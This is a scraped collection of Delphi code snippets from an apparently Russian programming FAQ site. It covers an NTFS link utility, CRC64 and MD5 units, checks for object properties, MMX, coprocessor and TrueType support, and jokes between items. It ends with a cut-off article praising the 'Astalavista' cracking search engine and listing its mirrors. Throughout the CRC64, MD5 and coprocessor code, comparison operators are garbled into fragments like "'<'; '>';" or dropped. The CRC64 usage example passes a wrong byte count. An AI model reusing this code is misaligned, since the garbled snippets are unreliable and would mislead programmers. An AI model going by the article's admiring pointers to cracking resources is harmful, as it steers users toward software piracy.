FILE_FLAG_OPEN_REPARSE_POINT or FILE_FLAG_BACKUP_SEMANTICS, 0);
if hLink = INVALID_HANDLE_VALUE then
RaiseLastOSError;
len := Length(ATargetName);
if ((PChar(ATargetName) + len - 1)^ = '\')
and ((PChar(ATargetName) + len - 2)^ <> ':') then
begin
Dec(len);
SetLength(ATargetName, len);
end;
len := Windows.GetFullPathName(PChar(ATargetName), MAX_PATH,
aTargetFullName, pc);
size := len + len + 2
+ nNativeFileNamePrefixByteLength + REPARSE_MOUNTPOINT_HEADER_SIZE + 12;
System.GetMem(pReparseInfo, size);
FillChar(pReparseInfo^, size, #0);
pwcTargetNativeFileName := @pReparseInfo^.ReparseTarget;
System.Move(pwcNativeFileNamePrefix^, pwcTargetNativeFileName^,
nNativeFileNamePrefixByteLength + 2);
pwcTargetFileName := pwcTargetNativeFileName +
nNativeFileNamePrefixWCharLength;
pwc := pwcTargetFileName + Windows.MultiByteToWideChar(0, 0,
aTargetFullName, len, pwcTargetFileName, len);
pwc^ := #0;
with pReparseInfo^ do
begin
ReparseTag := IO_REPARSE_TAG_MOUNT_POINT;
ReparseTargetLength := PChar(pwc) - PChar(pwcTargetNativeFileName);
ReparseTargetMaximumLength := ReparseTargetLength + 2;
ReparseDataLength := ReparseTargetLength + 12;
end;
dwBytesReturned := 0;
if not DeviceIoControl(hLink, FSCTL_SET_REPARSE_POINT, pReparseInfo,
pReparseInfo^.ReparseDataLength + REPARSE_MOUNTPOINT_HEADER_SIZE,
nil, 0, dwBytesReturned, nil) then
RaiseLastOSError;
except
if bDirectoryCreated then
RemoveDirectoryW(pwcLinkFileName);
raise;
end;
Result := true;
finally
if hLink <> INVALID_HANDLE_VALUE then
Windows.CloseHandle(hLink);
if pwcLinkFileName <> nil then
System.FreeMem(pwcLinkFileName);
if pReparseInfo <> nil then
System.FreeMem(pReparseInfo);
end;
end;
//-------------------------------------------------------------
procedure Help;
begin
WriteLn;
WriteLn('Create link(s) on NTFS.');
WriteLn;
WriteLn('Usage:');
WriteLn;
WriteLn('To create hardlink(s) (works only for files):');
WriteLn('xlink [-fr] <existed_file> <link_name>');
WriteLn;
WriteLn('To create symbolic link (works on Windows 2k/XP for directories only):');
WriteLn('xlink -s[f|F] <existed_directory> <link_name>');
WriteLn;
WriteLn('Options:');
WriteLn('-f Overwrite file with name <link_name> if it exists.');
WriteLn('-F Overwrite file/directory with name <link_name> if it exists.');
WriteLn('-r Recursive.');
WriteLn;
WriteLn('(c) 2002 Alex Konshin');
Halt;
end;
//-------------------------------------------------------------
procedure Execute;
var
iArg: Integer;
sArg: string;
ptr: PChar;
options: TOptions;
sExistedFileName: string;
sLink: string;
dwAttrs: DWORD;
begin
iArg := 1;
repeat
sArg := ParamStr(iArg);
if sArg = '' then
Help;
if PChar(sArg)^ <> '-' then
Break;
ptr := PChar(sArg) + 1;
while ptr^ <> #0 do
begin
case ptr^ of
's', 'S': Include(options, optSymbolicLink);
'h', 'H': Help;
'F': options := options + [optOverwrite, optDirectory];
'f': Include(options, optOverwrite);
'r', 'R': Include(options, optRecursive);
'd', 'D': Include(options, optDirectory);
else
WriteLn('Error: Invalid option ''-', ptr^, '''');
Exit;
end;
Inc(ptr);
end;
Inc(iArg);
until iArg <= ParamCount;
if ParamCount <= iArg then
Help;
if ParamCount - iArg > 1 then
Include(options, optDirectory);
if optSymbolicLink in options then
begin
sLink := ParamStr(ParamCount);
repeat
sExistedFileName := ParamStr(iArg);
if not CreateSymlink(sExistedFileName, sLink, options) then
WriteLn('The symbolic link creation failed.');
Inc(iArg);
until iArg >= ParamCount;
end
else if (options * [optRecursive, optDirectory]) <> [] then
begin
sLink := ParamStr(ParamCount);
repeat
sExistedFileName := ParamStr(iArg);
CreateHardlinksInDirectory(sExistedFileName, sLink, options);
Inc(iArg);
until iArg >= ParamCount;
end
else
begin
sExistedFileName := ParamStr(iArg);
sLink := ParamStr(ParamCount);
dwAttrs := GetFileAttributes(PChar(sExistedFileName));
if dwAttrs = FILE_DOES_NOT_EXIST then
begin
writeln('Error: The source file does not exist');
Exit;
end;
if (dwAttrs and FILE_ATTRIBUTE_DIRECTORY) <> 0 then
begin
writeln('Error: Can''t create hardlink for directory');
Exit;
end;
CreateHardlink(sExistedFileName, sLink, options);
end;
end;
//=============================================================
begin
if ParamCount < 2 then
Help;
try
Execute;
except
on E: Exception do
begin
WriteLn(E.ClassName + ': ' + E.Message);
end;
end;
end.
Модуль для подсчета CRC64.
Автор: Nikonov A.A.
unit psnCRC64;
interface
uses Classes;
procedure CRC64Next(const Data; const Count:
Cardinal; var CRC64: Int64);
function CRC64Full(const Data; const Count:
Cardinal): Int64;
function CRC64Stream(const Source:
TStream; Count: Integer; const BufSize:
Cardinal = 1024): Int64;
implementation
var T: array[Byte] of Int64;
procedure CRC64Next(const Data; const Count:
Cardinal; var CRC64: Int64);
var
MyCRC64: Int64;
I: Cardinal;
PData: ^Byte;
begin
PData := @Data;
MyCRC64 := CRC64;
for I := 1 to Count do
begin
MyCRC64 := MyCRC64 shr 8 xor T[Cardinal(MyCRC64)
and $FF xor PData^];
Inc(PData);
end;
CRC64 := MyCRC64;
end;
function CRC64Full(const Data; const Count:
Cardinal): Int64;
begin
Result := not 0;
CRC64Next(Data, Count, Result);
end;
function CRC64Stream(const Source:
TStream; Count: Integer;
const BufSize: Cardinal = 1024): Int64;
var
N: Cardinal;
Buffer: Pointer;
begin
if Count '<';
0
then Count := Source.Size;
GetMem(Buffer, BufSize);
try
Result := not 0;
while Count '<';
'>';
0 do
begin
if Cardinal(Count)'>';
BufSize
then
N := BufSize
else
N := Count;
Source.ReadBuffer(Buffer^, N);
CRC64Next(Buffer^, N, Result);
Dec(Count, N);
end;
finally FreeMem(Buffer);
end;
end;
var
I, J: Byte;
D: Int64;
initialization
for I := 0 to 255 do
begin
D := I;
for J := 1 to 8 do
if Odd(D)
then D := D shr 1 xor $C96C5795D7870F42
else D := D shr 1;
T[I] := D;
end;
end.
/////////////////////////////////////
// Данные в модуль можно загнать так
procedure TForm1.Button1Click(Sender: TObject);
var
InFile: TFileStream;
begin
InFile := TFileStream.Create(fname, fmShareDenyNone);
Caption := INTTOHEX(CRC64Stream(INFILE, SIZEOF(INFILE), 1024), 16);
end;
Модуль для подсчета хеш-суммм с помощью MD5.
Автор: Nikonov A.A.
unit psnMD5;
interface
uses Windows, SysUtils, Classes;
type
PMD5Digest = ^TMD5Digest;
TMD5Digest = record
case Integer of
0: (A, B, C, D: LongInt);
1: (v: array[0..15] of Byte);
end;
function MD5String(const S: string): TMD5Digest;
function MD5File(const FileName: string): TMD5Digest;
function MD5Stream(const Stream: TStream): TMD5Digest;
function MD5Buffer(const Buffer;
Size: Integer): TMD5Digest;
function MD5DigestToStr(const Digest:
TMD5Digest): string;
function MD5DigestCompare(const Digest1,
Digest2: TMD5Digest): Boolean;
implementation
type
UINT4 = LongWord;
PArray4UINT4 = ^TArray4UINT4;
TArray4UINT4 = array[0..3] of UINT4;
PArray2UINT4 = ^TArray2UINT4;
TArray2UINT4 = array[0..1] of UINT4;
PArray16Byte = ^TArray16Byte;
TArray16Byte = array[0..15] of Byte;
PArray64Byte = ^TArray64Byte;
TArray64Byte = array[0..63] of Byte;
PByteArray = ^TByteArray;
TByteArray = array[0..0] of Byte;
PUINT4Array = ^TUINT4Array;
TUINT4Array = array[0..0] of UINT4;
PMD5Context = ^TMD5Context;
TMD5Context = record
state: TArray4UINT4;
count: TArray2UINT4;
buffer: TArray64Byte;
end;
const
S11 = 7;
S12 = 12;
S13 = 17;
S14 = 22;
S21 = 5;
S22 = 9;
S23 = 14;
S24 = 20;
S31 = 4;
S32 = 11;
S33 = 16;
S34 = 23;
S41 = 6;
S42 = 10;
S43 = 15;
S44 = 21;
var
Padding: TArray64Byte =
($80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
function _F(x, y, z:
UINT4): UINT4;
begin
Result := (((x) and (y)) or ((not x) and (z)));
end;
function _G(x, y, z:
UINT4): UINT4;
begin
Result := (((x) and (z)) or ((y)
and (not z)));
end;
function _H(x, y, z:
UINT4): UINT4;
begin
Result := ((x)xor (y)
xor (z));
end;
function _I(x, y, z:
UINT4): UINT4;
begin
Result := ((y)xor ((x)
or (not z)));
end;
function ROTATE_LEFT(x, n: UINT4): UINT4;
begin
Result := (((x)shl (n))
or ((x)shr (32 - (n))));
end;
procedure FF(var a: UINT4; b,
c, d, x, s, ac: UINT4);
begin
a := a + _F(b, c, d)
+ x + ac;
a := ROTATE_LEFT(a, s);
a := a + b;
end;
procedure GG(var a: UINT4; b,
c, d, x, s, ac: UINT4);
begin
a := a + _G(b, c, d)
+ x + ac;
a := ROTATE_LEFT(a, s);
a := a + b;
end;
procedure HH(var a: UINT4; b,
c, d, x, s, ac: UINT4);
begin
a := a + _H(b, c, d)
+ x + ac;
a := ROTATE_LEFT(a, s);
a := a + b;
end;
procedure II(var a: UINT4; b,
c, d, x, s, ac: UINT4);
begin
a := a + _I(b, c, d)
+ x + ac;
a := ROTATE_LEFT(a, s);
a := a + b;
end;
procedure MD5Encode(Output: PByteArray; Input: PUINT4Array; Len: LongWord);
var
i, j: LongWord;
begin
j := 0;
i := 0;
while j '<';
Len do begin
output[j] := Byte(input[i] and $FF);
output[j + 1] := Byte((input[i]shr 8)
and $FF);
output[j + 2] := Byte((input[i]shr 16)
and $FF);
output[j + 3] := Byte((input[i]shr 24)
and $FF);
Inc(j, 4);
Inc(i);
end;
end;
procedure MD5Decode(Output: PUINT4Array; Input: PByteArray; Len: LongWord);
var
i, j: LongWord;
begin
j := 0;
i := 0;
while j '<';
Len do
begin
Output[i] := UINT4(input[j])
or (UINT4(input[j + 1])shl 8)
or
(UINT4(input[j + 2])shl 16)
or (UINT4(input[j + 3])shl 24);
Inc(j, 4);
Inc(i);
end;
end;
procedure MD5_memcpy(Output:
PByteArray; Input: PByteArray; Len: LongWord);
begin
Move(Input^, Output^, Len);
end;
procedure MD5_memset(Output:
PByteArray; Value: Integer; Len: LongWord);
begin
FillChar(Output^, Len, Byte(Value));
end;
procedure MD5Transform(State: PArray4UINT4; Buffer: PArray64Byte);
var
a, b, c, d: UINT4;
x: array[0..15] of UINT4;
begin
a := State[0];
b := State[1];
c := State[2];
d := State[3];
MD5Decode(PUINT4Array(@x), PByteArray(Buffer), 64);
FF(a, b, c, d,
x[0], S11, $D76AA478);
FF(d, a, b,
c, x[1], S12, $E8C7B756);
FF(c, d, a, b,
x[2], S13, $242070DB);
FF(b, c, d,
a, x[3], S14, $C1BDCEEE);
FF(a, b, c, d,
x[4], S11, $F57C0FAF);
FF(d, a, b,
c, x[5], S12, $4787C62A);
FF(c, d, a, b,
x[6], S13, $A8304613);
FF(b, c, d,
a, x[7], S14, $FD469501);
FF(a, b, c, d,
x[8], S11, $698098D8);
FF(d, a, b,
c, x[9], S12, $8B44F7AF);
FF(c, d, a, b,
x[10], S13, $FFFF5BB1);
FF(b, c, d,
a, x[11], S14, $895CD7BE);
FF(a, b, c, d,
x[12], S11, $6B901122);
FF(d, a, b,
c, x[13], S12, $FD987193);
FF(c, d, a, b,
x[14], S13, $A679438E);
FF(b, c, d,
a, x[15], S14, $49B40821);
GG(a, b, c, d,
x[1], S21, $F61E2562);
GG(d, a, b,
c, x[6], S22, $C040B340);
GG(c, d, a, b,
x[11], S23, $265E5A51);
GG(b, c, d,
a, x[0], S24, $E9B6C7AA);
GG(a, b, c, d,
x[5], S21, $D62F105D);
GG(d, a, b,
c, x[10], S22, $2441453);
GG(c, d, a, b,
x[15], S23, $D8A1E681);
GG(b, c, d,
a, x[4], S24, $E7D3FBC8);
GG(a, b, c, d,
x[9], S21, $21E1CDE6);
GG(d, a, b,
c, x[14], S22, $C33707D6);
GG(c, d, a, b,
x[3], S23, $F4D50D87);
GG(b, c, d,
a, x[8], S24, $455A14ED);
GG(a, b, c, d,
x[13], S21, $A9E3E905);
GG(d, a, b,
c, x[2], S22, $FCEFA3F8);
GG(c, d, a, b,
x[7], S23, $676F02D9);
GG(b, c, d,
a, x[12], S24, $8D2A4C8A);
HH(a, b, c, d,
x[5], S31, $FFFA3942);
HH(d, a, b,
c, x[8], S32, $8771F681);
HH(c, d, a, b,
x[11], S33, $6D9D6122);
HH(b, c, d,
a, x[14], S34, $FDE5380C);
HH(a, b, c, d,
x[1], S31, $A4BEEA44);
HH(d, a, b,
c, x[4], S32, $4BDECFA9);
HH(c, d, a, b,
x[7], S33, $F6BB4B60);
HH(b, c, d,
a, x[10], S34, $BEBFBC70);
HH(a, b, c, d,
x[13], S31, $289B7EC6);
HH(d, a, b,
c, x[0], S32, $EAA127FA);
HH(c, d, a, b,
x[3], S33, $D4EF3085);
HH(b, c, d,
a, x[6], S34, $4881d05);
HH(a, b, c, d,
x[9], S31, $D9D4D039);
HH(d, a, b,
c, x[12], S32, $E6DB99E5);
HH(c, d, a, b,
x[15], S33, $1FA27CF8);
HH(b, c, d,
a, x[2], S34, $C4AC5665);
II(a, b, c, d,
x[0], S41, $F4292244);
II(d, a, b,
c, x[7], S42, $432AFF97);
II(c, d, a, b,
x[14], S43, $AB9423A7);
II(b, c, d,
a, x[5], S44, $FC93A039);
II(a, b, c, d,
x[12], S41, $655B59C3);
II(d, a, b,
c, x[3], S42, $8F0CCC92);
II(c, d, a, b,
x[10], S43, $FFEFF47D);
II(b, c, d,
a, x[1], S44, $85845DD1);
II(a, b, c, d,
x[8], S41, $6FA87E4F);
II(d, a, b,
c, x[15], S42, $FE2CE6E0);
II(c, d, a, b,
x[6], S43, $A3014314);
II(b, c, d,
a, x[13], S44, $4E0811A1);
II(a, b, c, d,
x[4], S41, $F7537E82);
II(d, a, b,
c, x[11], S42, $BD3AF235);
II(c, d, a, b,
x[2], S43, $2AD7D2BB);
II(b, c, d,
a, x[9], S44, $EB86D391);
Inc(State[0], a);
Inc(State[1], b);
Inc(State[2], c);
Inc(State[3], d);
MD5_memset (PByteArray(@x), 0, SizeOf(x));
end;
procedure MD5Init(var Context: TMD5Context);
begin
FillChar(Context, SizeOf(Context), 0);
Context.state[0] := $67452301;
Context.state[1] := $EFCDAB89;
Context.state[2] := $98BADCFE;
Context.state[3] := $10325476;
end;
procedure MD5Update(var Context:
TMD5Context; Input: PByteArray; InputLen: LongWord);
var
i, index, partLen: LongWord;
begin
index := LongWord((context.count[0]shr 3)
and $3F);
Inc(Context.count[0], UINT4(InputLen)shl 3);
if Context.count[0]'<';
UINT4(InputLen)shl 3
then Inc(Context.count[1]);
Inc(Context.count[1], UINT4(InputLen)shr 29);
partLen := 64 - index;
if inputLen '>';
= partLen then
begin
MD5_memcpy(PByteArray(@Context.buffer[index]),
Input, PartLen);
MD5Transform(@Context.state, @Context.buffer);
i := partLen;
while i + 63 '<';
inputLen do
begin
MD5Transform(@Context.state,
PArray64Byte(@Input[i]));
Inc(i, 64);
end;
index := 0;
end
else
i := 0;
MD5_memcpy(PByteArray(@Context.buffer[index]),
PByteArray(@Input[i]), inputLen - i);
end;
procedure MD5Final(var Digest: TMD5Digest; var Context:
TMD5Context);
var
bits: array[0..7] of Byte;
index, padLen: LongWord;
begin
MD5Encode(PByteArray(@bits), PUINT4Array(@Context.count),
8);
index := LongWord((Context.count[0]shr 3)
and $3F);
if index '<';
56 then padLen := 56 - index
else
padLen := 120 - index;
MD5Update(Context, PByteArray(@PADDING), padLen);
MD5Update(Context, PByteArray(@Bits), 8);
MD5Encode(PByteArray(@Digest), PUINT4Array(@Context.state),
16);
MD5_memset(PByteArray(@Context), 0, SizeOf(Context));
end;
function MD5DigestToStr(const Digest:
TMD5Digest): string;
var
i: Integer;
begin
Result := '';
for i := 0 to 15 do Result := Result + IntToHex(Digest.v[i],
2);
end;
function MD5String(const S: string): TMD5Digest;
begin
Result := MD5Buffer(PChar(S)^, Length(S));
end;
function MD5File(const FileName: string): TMD5Digest;
var
F: TFileStream;
begin
F := TFileStream.Create(FileName, fmOpenRead);
try
Result := MD5Stream(F);
finally
F.Free;
end;
end;
function MD5Stream(const Stream: TStream): TMD5Digest;
var
Context: TMD5Context;
Buffer: array[0..4095] of Byte;
Size: Integer;
ReadBytes: Integer;
TotalBytes: Integer;
SavePos: Integer;
begin
MD5Init(Context);
Size := Stream.Size;
SavePos := Stream.Position;
TotalBytes := 0;
try
Stream.Seek(0, soFromBeginning);
repeat
ReadBytes := Stream.Read(Buffer, SizeOf(Buffer));
Inc(TotalBytes, ReadBytes);
MD5Update(Context, @Buffer, ReadBytes);
until (ReadBytes = 0) or (TotalBytes = Size);
finally
Stream.Seek(SavePos, soFromBeginning);
end;
MD5Final(Result, Context);
end;
function MD5Buffer(const Buffer;
Size: Integer): TMD5Digest;
var
Context: TMD5Context;
begin
MD5Init(Context);
MD5Update(Context, PByteArray(@Buffer), Size);
MD5Final(Result, Context);
end;
function MD5DigestCompare(const Digest1,
Digest2: TMD5Digest): Boolean;
begin
Result := False;
if Digest1.A '<';
'>';
Digest2.A then Exit;
if Digest1.B '<';
'>';
Digest2.B then Exit;
if Digest1.C '<';
'>';
Digest2.C then Exit;
if Digest1.D '<';
'>';
Digest2.D then Exit;
Result := True;
end;
end.
/////////////////////////////////////
// Данные в модуль можно загнать так
procedure TForm1.Button1Click(Sender: TObject);
var
InFile: TFileStream;
begin
InFile := TFileStream.Create(fname, fmShareDenyNone);
Caption := MD5DigestToStr(MD5Stream(INFILE));
end;
Как выяснить имеет ли объект определённое свойство.
Автор: http://www.lmc-mediaagentur.de
function hasprop(comp: TComponent; const prop: string): Boolean;
var
proplist: PPropList;
numprops, i: Integer;
begin
result := false;
getmem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
try
NumProps := getproplist(comp.classInfo, tkProperties, proplist);
for i := 0 to pred(NumProps) do
begin
if comparetext(proplist[i]^.Name, prop) = 0 then
begin
result := true;
break;
end;
end;
finally
freemem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
end;
end;
procedure setcomppropstring(comp: TComponent; const prop, s: string);
var
proplist: PPropList;
numprops, i: Integer;
begin
getmem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
try
NumProps := getproplist(comp.classInfo, tkProperties, proplist);
for i := 0 to pred(NumProps) do
begin
if (comparetext(proplist[i]^.Name, prop) = 0) and
(comparetext(proplist[i]^.proptype^.name, 'string') = 0 then
begin
setStrProp(comp, proplist[i], s);
break;
end;
end;
finally
freemem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
end;
end;
Как определить, есть ли некоторое свойство у объекта.
Автор: Nomadic.
TypInfo.GetPropInfo (My_Component.ClassInfo, 'Hint') <> nil |
Модифицировать кучу объектов можно организовав цикл перебора оных с получением в цикле PropertyInfo объекта и записи в объект на основе PropInfo.
Является ли шрифт шрифтом с фиксированной шириной.
Автор: Andy KingПосмотрите в библиотеке console.zip от Danny Thorpe -- он проверяет, является ли шрифт шрифтом с фиксированной шириной. Вот код, который делает это:
procedure TConsole.FontChanged(Sender: TObject);
var
DC: HDC;
Save: THandle;
Metrics: TTextMetric;
Temp: string;
begin
if Font.Handle <> FOldFont.Handle then
begin
DC := GetDC(0);
Save := SelectObject(DC, Font.Handle);
GetTextMetrics(DC, Metrics);
SelectObject(DC, Save);
ReleaseDC(0, DC);
if not (((Metrics.tmPitchAndFamily and ff_Modern) <> 0) and
((Metrics.tmPitchAndFamily and $01) = 0)) then
begin
Temp := 'TConsole: ' + Font.Name +
' не является шрифтом с фиксированной шириной';
Font.Name := FOldFont.Name; { Возвращаем предыдущие атрибуты шрифта }
raise EInvalidFont.Create(Temp);
end;
SetMetrics(Metrics);
end;
FOldFont.Assign(Font);
if csDesigning in ComponentState then
InternalClrScr;
end;
|
Как узнать, была ли перемещена форма.
...
type
TfrmMain = class(TForm)
private
procedure OnMove(var Msg: TWMMove); message WM_MOVE;
end;
...
procedure TfrmMain.OnMove(var Msg: TWMMove);
begin
inherited;
...
end;
...
|
Как узнать - присутствует ли мышка.
| Если у вас воняет под мышкой, помойте коврик. |
function MousePresent : Boolean;
begin
if GetSystemMetrics(SM_MOUSEPRESENT) <> 0 then
Result := true
else
Result := false;
end;
|
Как узнать есть ли у мыши колесико.
| При использовании трекбола надевайте коврик на палец. |
Свойство WheelPresent глобального обьекта Mouse.
Определение наличия в процессоре технологии MMX.
| Лежит симпатичная девушка на пляже. К ней мужик начинает клеиться. Она его спрашивает: - Вы кем работаете? - Программистом. - Вот представьте: приезжаете вы в отпуск на юг отдохнуть. А тут - компьютеры, компьютеры... |
Наша программа выполняет несложную операцию по определению наличия в процессоре технологии MMX, но при помощи этого кода можно узнать и много других характеристик процессора, путем посылки в регистр eax значений от 0 до 2 и при этом тестированием отдельных бит таких регистров как eax,ebx,ecx и edx командой bt (bit test), но наша задача заключается в том, чтоб показать различные способы подключения к delphi ассемблерного кода.
Для создания объектного модуля нужен файл TASM32.EXE, линковать объектный модуль файлом TLINK.EXE ненужно.
Например:
TASM32.EXE /ml CPU2.ASM |
Полученный объектный модуль на ассемблере CPU2.OBJ.
.586 ; Будут использоваться дополнительные команды 586 .MODEL use32 small ; Модель памяти small используется для ; большинства программ на ассемблере stack 100h ; Выделяем область памяти под стек 256 байт .data .code start: DelCpu proc PUBLIC DelCpu ; объявляем процедуру видимую за пределами ; данного модуля xor edx,edx ; обнуляем регистр edx для помещения в него ; результатов команды cpuid mov eax,1 ; засылаем в eax 1 для заполнения регистра edx ; соответствующими полями после выполнения ; cpuid команды cpuid ; команда идентификация процессора bt edx,23 ; команда для тестирования отдельных бит в ; операнде, в нашем случае проверяем в edx 23 бит ; и если он устанавнен в 1 значит технология MMX ; в процессоре есть, а если 0 то нет. Эта команда ; также присваивает флагу переноса cf значение ; проверяемого бита jnc no ; проверяем значение флага cf если оно равно 0 то ; на перейти на метку (no), если 1 то продолжаем mov eax,1 ; в ассемблере для возврата результата в функцию ; нужно результат поместить в регистр eax, что мы ; и делаем jmp exit ; безусловный переход на выход no: mov eax,0 exit: ret ; выход из процедуры DelCpu endp end start |
Модуль на Delphi.
Очень важный момент, когда будете подключать модуль директивой {$L cpu2.obj} нужно чтоб все строки кода были или закомментированы или чтоб их еще не было вообще.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
rez: DWORD;
implementation
{$L cpu2.obj} //подключение нашего asm модуля к delphi
{$R *.dfm}
function DelCpu: DWORD; external; // объявляем функцию DelCpu
// внешней
// ну дальше все понятно
procedure TForm1.FormCreate(Sender: TObject);
begin
rez:=DelCpu;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if rez = 1 then
edit1.Text:='MMX-технология есть'
else
edit1.Text:='MMX-технологии нет';
end;
end.
|
Как во время выполнения определить поддерживает ли обьект заданное свойство.
| Звонит клиент в сервисную службу: - У меня сломался компьютер и из него пошел дым. Мне сказали что надо что-то изменить в config.sys. Могу ли я воспользоваться Вашими услугами? - Понимаете, если пошел дым, значит что-то сгорело, скорее всего это блок питания. Привезите к нам системный блок и мы заменим Вам блок питания. - Нееее, Вы хотите меня обмануть, мне нужно только настроить config.sys и не более того! Разговор длится 15 минут. Специалист сервисной службы: - ОКЕЙ!!! Позвоните в Microsoft и закажите программу no-smoke.com ver 2.35. Звонок в сервисную службу через 10 минут. Звонит тот же человек. - Возможно поменять у Вас блок питания? - Да, но зачем Вам это? - Эта версия no-smoke.com не поддерживает старые блоки питания. |
function HasProperty(Obj: TObject; Prop: string) : PPropInfo;
begin
Result := GetPropInfo(Obj.ClassInfo, Prop);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
p : pointer;
begin
p := HasProperty(Button1, 'Color');
if p <> nil then
SetOrdProp(Button1, p, clRed)
else
ShowMessage('Button has no color property');
p := HasProperty(Label1, 'Color');
if p <> nil then
SetOrdProp(Label1, p, clRed)
else
ShowMessage('Label has no color property');
p := HasProperty(Label1.Font, 'Color');
if p <> nil then
SetOrdProp(Label1.Font.Color, p, clBlue)
else
ShowMessage('Label.Font has no color property');
end;
|
Как узнать, есть ли в приёмном буфере RS232 данные.
| Телепрограмма на сегодня: 4.00 РОWЕRхностные явления. 4.05 Winсиканский сериал - "Lоаding in ргоgгеss" 10-11 проценты. 8.30 Игра на мониторе - "Угадай меLОАDию" Уеs,Nо,Саnсе1. 9.00 Программа "Доброе утро, Миstdай". 9.30 "Сам себе Панель Мiсгоsоft Оffiсе". 10.00 Веселые SТАRТы. 11.00 Мультик "Кто сказал БИЗИ?". 11.10 "Соnnесt с первого взгляда". 11.30 "Утренняя почта" с Г. Олдедом. 12.00 NоСаггiегчко. 12.30 Аdоье МозгоЕь. В перерывах СкринSаvегы. 14.00 Самая криминальная программа на мониторе: "Недопустимая операция. Закрыть. Сведения.". 14.30 Юмор на мониторе - клуб "Белый Rеsеt". 15.00-19.00 Профилактические работы. Сериал "SсаnDisк". 19.45 Для самых маленьких - "Unаь1е Еггог, малыши!". 20.00 Документальные данные о реестре "ИеRАRхическая поDLLость". 20.30 Юмористический мониторожурнал - "Назло DiгесtХ". 22.00 Ночной сеанс - "Установка и удаление программ". В главной роли UnInstа11 Windоws'98. 23.00 Как это было. "Windоws 3.11" 1990 год. 00.00 Контра, Альт, Дель. |
При помощи функции ClearCommError можно узнать, сколько байт данных находится в буфере приёма (и буфере передачи) последовательного интерфейса.
procedure DataInBuffer(Handle: THandle;
var InQueue, OutQueue: integer);
var
ComStat: TComStat;
e: integer;
begin
if ClearCommError(Handle, e, @ComStat) then
begin
InQueue := ComStat.cbInQue;
OutQueue := ComStat.cbOutQue;
end
else
begin
InQueue := 0;
OutQueue := 0;
end;
end;
|
Как определить наличие сопроцессора.
| Системщику на день рождения подарили чемодан. Ну он спрашивает: - Зачем? - Ну как, - говорят, - ты же в командировки там всякие ездишь, системки отлаживать? - Ну... - Так вот, сюда трусики положишь, сюда носочки, сюда... - Стоп, стоп, ребята! А в чем же я сам поеду? |
В отличие от общепринятого мнения не всее клоны 486/586/686/ и Pentium имеют сопроцессор для вычислений с плавающей запятой. В примере определяется наличие сопроцессора и под Win16 и под Win32.
{$IFDEF WIN32}
uses
Registry;
{$ENDIF}
function HasCoProcesser : bool;
{$IFDEF WIN32}
var
TheKey : hKey;
{$ENDIF}
begin
Result := true;
{$IFNDEF WIN32}
if GetWinFlags and Wf_80x87 = 0 then
Result := false;
{$ELSE}
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\FloatingPointProcessor',
0, KEY_EXECUTE, TheKey) ERROR_SUCCESS then
result := false;
RegCloseKey(TheKey);
{$ENDIF}
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if HasCoProcesser then
ShowMessage('Has CoProcessor')
else
ShowMessage('No CoProcessor - Windows Emulation Mode');
end;
|
Как выяснить установлены ли в системе шрифты TrueType.
| Решили инженеры выполнить мечту Билла Гейтса - поставили "Винды" на холодильник. Запустили - работает. Поставили внутрь кастрюлю борща. Глядь - сообщение: - Обнаружено новое устройство "Кастрюля (4 л) красная". Будем устанавливать? |
function IsTrueTypeInstalled: bool;
var
{$IFDEF WIN32}
rs : TRasterizerStatus;
{$ELSE}
rs : TRasterizer_Status;
{$ENDIF}
begin
result := false;
if not GetRasterizerCaps(rs, sizeof(rs)) then
exit;
if rs.WFlags and TT_AVAILABLE <> TT_AVAILABLE then
exit;
if rs.WFlags and TT_ENABLED <> TT_ENABLED then
exit;
result := true;
end;
|
Асталависта - территория взлома.
Оформил: DeeCo
(по материалам www.emedia.ru).
"Astalavista" - большая черная машина, приводящая всех продавцов и большинство разработчиков программного обеспечения в грустное настроение, является одним из наиболее посещаемых серверов Интернета. "Удел информации в типично американском обществе в том, чтобы стать предметом купли-продажи", - писал еще в 1950 г. "отец кибернетики" Норберт Винер. Это его утверждение сейчас особенно применимо к области создания и продажи программных (то есть чисто информационных) продуктов. Вместе с тем, Винер отмечал, что "информация не имеет хозяина". В этом противоречии заложены основы длительного конфликта между компаниями-производителями программных продуктов и хакерским сообществом, представляющим собой нечто большее, чем неформальное объединение компьютерных хулиганов. По сути дела, идет если не война, то постоянное соревнование между теми, кто создает различные средства компьютерной и информационной безопасности, и теми, кто их разрушает. Это соревнование взаимно стимулирует лучших специалистов по обе стороны баррикады. Флагманом хакерского сообщества, несомненно, является "Astalavista" , которая не просто объединяет усилия различных хакерских групп, но и координирует их действия. "Astalavista" - это поисковая машина, посвященная "вопросам компьютерной безопасности", как несколько неопределенно указано на сайте. Если говорить проще, то это информационная система, объединяющая ресурсы примерно тысячи сайтов хакерского сообщества. Однако это лишь титульная страница, яркая "упаковка" с рекламными баннерами, с которой через систему отдельных поисковых окон можно выйти на несколько справочных систем. Сама "Astalavista" начисто лишена каких бы то ни было дизайнерских изысков. По сути, сайт является лишь страницей переадресации. Ввиду специфики информации, выложенной на серверах-первоисточниках, они часто меняют адреса. Да и сама "Astalavista" представлена целым рядом "зеркал" - синхронно обновляемых серверов. Некоторые из них могут быть временно недоступны, поэтому рекомендуется сохранить все приведенные ниже адреса. Наиболее быстрый из них - http://astalavista2.box.sk/ - сервер в Словакии. В случае его "миграции", поиск лучше начинать с главного сервера http://astalavista.box.sk/, а уж если не повезет, то перебрать и 